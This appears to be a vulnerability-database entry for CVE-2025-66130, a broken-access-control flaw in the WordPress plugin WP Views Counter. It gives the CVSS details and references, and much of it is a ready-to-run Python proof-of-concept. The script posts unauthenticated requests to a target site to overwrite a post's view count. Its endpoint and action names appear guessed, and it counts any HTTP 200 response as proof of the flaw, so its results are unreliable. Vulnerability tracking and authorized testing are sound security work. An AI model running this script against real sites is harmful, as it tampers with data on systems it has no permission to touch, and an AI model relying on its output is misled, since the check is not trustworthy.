CVE-2025-66130

Description

Missing Authorization vulnerability in etruel WP Views Counter wpecounter allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects WP Views Counter: from n/a through <= 2.1.2.

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WP Views Counter <= 2.1.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2025-66130 PoC - WP Views Counter Broken Access Control
# Target: WordPress site with WP Views Counter plugin <= 2.1.2

import requests
import sys

target_url = "http://target-wordpress-site.com"

def check_vulnerability():
    """
    Check if target is vulnerable to CVE-2025-66130
    Missing Authorization in WP Views Counter
    """
    # Try to access admin functionality without authentication
    endpoints = [
        f"{target_url}/wp-admin/admin-ajax.php",
        f"{target_url}/wp-json/wp/v2/views-counter",
        f"{target_url}/?rest_route=/wpecounter/v1/update"
    ]
    
    # Malicious payload to exploit broken access control
    malicious_payload = {
        'action': 'wpecounter_update',
        'post_id': '1',
        'count': '999999'
    }
    
    print(f"[*] Testing CVE-2025-66130 on {target_url}")
    print(f"[*] Plugin: WP Views Counter <= 2.1.2")
    
    for endpoint in endpoints:
        try:
            response = requests.post(endpoint, data=malicious_payload, timeout=10)
            if response.status_code == 200:
                print(f"[+] Potential vulnerability found at: {endpoint}")
                print(f"[+] Response: {response.text[:200]}")
                return True
        except requests.RequestException as e:
            print(f"[-] Error accessing {endpoint}: {e}")
    
    print("[*] Manual verification recommended")
    return False

if __name__ == "__main__":
    if len(sys.argv) > 1:
        target_url = sys.argv[1]
    check_vulnerability()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-66130
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-66130
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-66130/
[4] VulDB https://vuldb.com/cve/CVE-2025-66130
[5] https://patchstack.com/database/Wordpress/Plugin/wpecounter/vulnerability/wordpress-wp-views-counter-plugin-2-1-2-broken-access-control-vulnerability?_s_id=cve

Raw JSON Data

JSON

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